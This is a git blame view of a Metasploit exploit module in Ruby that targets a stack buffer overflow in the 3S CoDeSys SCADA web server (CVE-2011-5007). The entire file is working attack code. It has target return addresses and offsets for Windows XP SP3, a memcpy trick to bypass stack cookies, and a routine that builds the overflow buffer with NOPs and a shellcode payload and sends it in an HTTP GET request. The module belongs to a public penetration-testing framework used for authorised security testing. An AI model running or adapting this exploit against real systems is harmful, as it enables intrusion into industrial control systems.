Files
metasploit-gs/modules/exploits/windows/scada/codesys_web_server.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

133 lines
3.7 KiB
Ruby
Raw Normal View History

2011-12-12 15:21:15 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-12-12 15:21:15 -06:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2011-12-12 15:21:15 -06:00
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
2014-03-11 12:44:34 -05:00
'Name' => 'SCADA 3S CoDeSys CmpWebServer Stack Buffer Overflow',
'Description' => %q{
2011-12-12 15:21:15 -06:00
This module exploits a remote stack buffer overflow vulnerability in
2014-03-11 12:44:34 -05:00
3S-Smart Software Solutions product CoDeSys Scada Web Server Version
1.1.9.9. This vulnerability affects versions 3.4 SP4 Patch 2 and
earlier.
2011-12-12 15:21:15 -06:00
},
'License' => MSF_LICENSE,
'Author' =>
2011-12-12 15:21:15 -06:00
[
'Luigi Auriemma', # Original discovery and poc
'Celil UNUVER',
2011-12-29 11:14:15 -06:00
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Module Metasploit
'sinn3r',
'Michael Coppola'
2011-12-12 15:21:15 -06:00
],
'References' =>
2011-12-12 15:21:15 -06:00
[
2012-06-27 22:10:24 -05:00
[ 'CVE', '2011-5007'],
[ 'OSVDB', '77387'],
[ 'URL', 'http://aluigi.altervista.org/adv/codesys_1-adv.txt' ],
2012-10-23 21:02:09 +02:00
[ 'EDB', '18187' ],
2022-01-23 15:28:32 -05:00
[ 'URL', 'https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-11-336-01A' ],
2012-01-09 02:14:29 -06:00
# The following clearifies why two people are credited for the discovery
2022-01-23 15:28:32 -05:00
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-12-006-01']
2011-12-12 15:21:15 -06:00
],
'DefaultOptions' =>
2011-12-12 15:21:15 -06:00
{
'EXITFUNC' => 'process',
2020-01-14 20:47:27 -05:00
'DisablePayloadHandler' => false
2011-12-12 15:21:15 -06:00
},
'Platform' => 'win',
'Payload' =>
2011-12-12 15:21:15 -06:00
{
'size' => 650,
'BadChars' => "\x00\x09\x0a\x3f\x20\x23\x5e\x25\x3a\x5c",
2011-12-12 15:21:15 -06:00
},
'Targets' =>
2011-12-12 15:21:15 -06:00
[
[
'CoDeSys v2.3 on Windows XP SP3',
2011-12-12 15:21:15 -06:00
{
'Ret' => 0x7E4456F7, # jmp esp user32
2011-12-12 15:21:15 -06:00
'Offset' => 775
}
],
[
'CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3',
{
# Abuse a memcpy() call to circumvent stack cookies
'Offset' => 525,
'Ret' => 0x02CDFD68,
'Src' => 0x02CDFD58,
'Dest' => 0x02CDFA14
}
],
2011-12-12 15:21:15 -06:00
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-12-02'
))
2011-12-12 15:21:15 -06:00
register_options([Opt::RPORT(8080)])
2011-12-12 15:21:15 -06:00
end
def check
connect
sock.put("GET / HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
res = sock.get_once
2011-12-12 15:21:15 -06:00
disconnect
# Can't flag the web server as vulnerable, because it doesn't
# give us a version
vprint_line(res.to_s)
if res.to_s =~ /3S_WebServer/
2011-12-12 15:21:15 -06:00
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
connect
if target.name =~ /v2\.3/
buffer = rand_text(target['Offset'])
buffer << [target.ret].pack('V')
buffer << make_nops(8)
buffer << payload.encoded
else
# CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3
buffer = rand_text_alphanumeric(target['Offset'])
buffer << [target.ret].pack('V')
buffer << [target['Src']].pack('V')
buffer << [target['Dest']].pack('V')
buffer << [0x7FFFFFFF].pack('V') # Satisfy signed comparison
buffer << make_nops(8)
buffer << payload.encoded
buffer << "\\a"
end
2011-12-12 15:21:15 -06:00
sploit = "GET /#{buffer} HTTP/1.0\r\n\r\n\r\n"
print_status("Trying target #{target.name}...")
sock.put(sploit)
res = sock.get_once(-1, 5)
print_line(res) unless res.nil?
2011-12-12 15:21:15 -06:00
handler
disconnect
end
end
=begin
target.ret verified on:
- Win XP SP3 unpatched
- Win XP SP3 fully-patched
- Win XP SP3 fully-patched with Office 2007 Ultimate SP2 installed
=end